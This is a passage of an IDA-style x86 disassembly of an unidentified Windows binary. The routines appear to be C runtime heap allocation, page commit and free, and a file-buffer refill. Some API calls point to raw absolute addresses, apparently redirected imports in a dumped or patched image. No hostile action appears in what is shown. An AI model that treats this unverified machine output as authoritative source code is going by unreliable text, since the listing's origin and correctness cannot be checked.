		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A310, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A300
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC944
		call	near ptr 27A0000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A300
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A300, 0
		jnz	short loc_41E9F6
		mov	off_43A300, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A304, 0
		jnz	short loc_41EA1B
		mov	off_43A304, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A304
		mov	[esi+4], eax
		mov	off_43A304, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 28A04A2h
		nop


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A300
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC944
		call	near ptr 279067Ch
		nop


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28A04A2h
		cmp	off_43C320, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C320, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A300
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC944
		nop
		call	near ptr 279067Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A310, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A304
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28A04A2h
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB324
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A304
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A300
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB324
		cmp	dword_4DB324, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C320
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C320
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C320, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A300
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 28A061Ch
		nop
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C320, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C320, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC600[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C980


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
